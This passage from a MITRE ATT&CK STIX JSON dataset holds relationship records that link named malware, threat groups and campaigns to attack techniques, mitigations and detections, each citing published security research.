2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96e928af-dbfc-4743-a1dc-353904e21fd3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.335Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96ea567d-7113-4c2e-82c4-2ae6c6916ae9","created":"2019-06-14T16:45:34.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.390Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) has a command to launch a file browser or explorer on the system.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--96ef9f6c-46aa-4a59-ad5a-5ef72279d12a","created":"2022-08-07T15:32:51.652Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) has the ability to collect the hostname and OS information from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96f31a7f-76d9-4aa6-81b7-cc4656213657","type":"relationship","created":"2021-11-17T17:07:35.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.666Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can capture keystrokes on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96f5f245-a67b-4e3d-8d3f-ef2a7719a3fd","type":"relationship","created":"2020-03-30T03:10:12.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-30T03:10:12.851Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96f5f2ec-28e6-4ed4-853e-9c6cadbe3dda","type":"relationship","created":"2020-08-24T14:27:37.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:17.209Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can send time zone information from a compromised host to C2.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96fad0c2-f880-4fab-8aee-5573e1737dd8","type":"relationship","created":"2021-02-17T16:58:14.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-21T13:20:13.603Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) communicates to a C2 server over port 443 using modified RC4 and XOR-encrypted chunks.(Citation: Unit42 BendyBear Feb 2021) ","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96fdbe95-300b-4e7f-9246-35b8f42e5680","type":"relationship","created":"2021-06-29T15:14:57.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:14:57.710Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use the Windows Command Shell for execution.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96ff6190-cb11-4473-a194-abbf317205b8","created":"2023-03-17T15:43:18.961Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:43:18.962Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) digitally signed their malware and the dbxcli utility.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9701df31-e2f4-487b-a204-26c4347ef32d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.007Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) runs tasklist to obtain running processes.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--970635e8-9767-4654-b6ff-e1cd12bc206e","type":"relationship","created":"2019-07-18T21:21:18.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:10:45.631Z","description":"Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97068a5a-faff-4212-a841-c06db163452e","type":"relationship","created":"2019-03-25T14:30:39.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:46:02.261Z","description":"(Citation: Symantec MuddyWater Dec 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--970860bd-6183-4728-8f34-a5a1ad199655","created":"2023-08-07T16:02:55.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.659Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has created and used new accounts within a victim's Active Directory environment to maintain persistence.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--970bbf34-75a5-46a3-9f89-cd573a6fcbfc","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor executed commands and arguments that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--970e9eb2-51d7-4986-9480-d8a3b59c3006","created":"2022-08-10T20:24:14.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.713Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has disguised their scripts with docker-related file names.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97115dbf-de19-4816-8c5a-5cb8b7103e8a","created":"2023-09-28T13:28:20.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:34:12.066Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate IAM permissions.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--971209a8-f579-4433-baee-9b12d8199855","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft IIS Modules Overview 2007","description":"Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.","url":"https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"},{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"},{"source_name":"ESET IIS Malware 2021","description":"Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.","url":"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"}]},{"type":"relationship","id":"relationship--9713c96c-af93-4c3c-8fd7-1ecaa8a577b5","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T19:53:51.989Z","description":"Track the creation of new services, which could indicate adversarial activity aimed at persistence or execution.\n\nAnalytic 1 - Monitors service creation and modification activities\n\nsourcetype=service_logs\n| search service_action=\"create\" OR service_action=\"modify\"\n| where user NOT IN (\"known_admins\") AND service_name NOT IN (\"known_services\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9718f2c1-99f3-4fa2-8293-44f2b30bba70","type":"relationship","created":"2021-11-30T19:26:17.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:26:17.249Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to distinguish between a standard user and an administrator on a compromised host.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--971d0828-7244-4278-adc5-dc480d57ba5b","type":"relationship","created":"2021-03-05T18:54:56.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.463Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) performed padding with null bytes before calculating its hash.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--971d6207-8f0f-4771-8f7e-a6aa9aadda1c","created":"2022-09-27T16:19:38.856Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:19:38.856Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors' backdoors were written in Python and compiled with py2exe.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9725630d-a737-43dd-a68f-a09987735846","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.488Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--972c3c99-a172-4191-a35e-dedef750d36e","type":"relationship","created":"2020-10-20T15:47:55.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:59:03.379Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9730ebe6-78b7-4dbf-93f4-add720033985","created":"2024-09-23T20:43:37.860Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:43:37.860Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has attempted to get users to click on a link pointing to a malicious HTML file leading to follow-on malicious content.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97323d60-9623-4b3e-8ff9-50370fef4e5b","type":"relationship","created":"2020-05-11T22:12:28.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.356Z","description":"After checking for the existence of two files, keyword_parm.txt and parm.txt, [MESSAGETAP](https://attack.mitre.org/software/S0443) XOR decodes and read the contents of the files. (Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97361e60-4c54-48f6-a661-e3bd36b9745e","type":"relationship","created":"2019-05-28T19:51:24.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2019-05-30T17:23:30.532Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect if a usable smart card is current inserted into a card reader.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9736ff6e-3b76-47be-a523-3be6076ce5eb","created":"2021-01-22T21:28:55.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.425Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used time /t and net time \\\\ip/hostname for system time discovery.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--973e4318-a08c-491c-afa3-d110f9d87758","type":"relationship","created":"2019-06-28T16:02:08.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 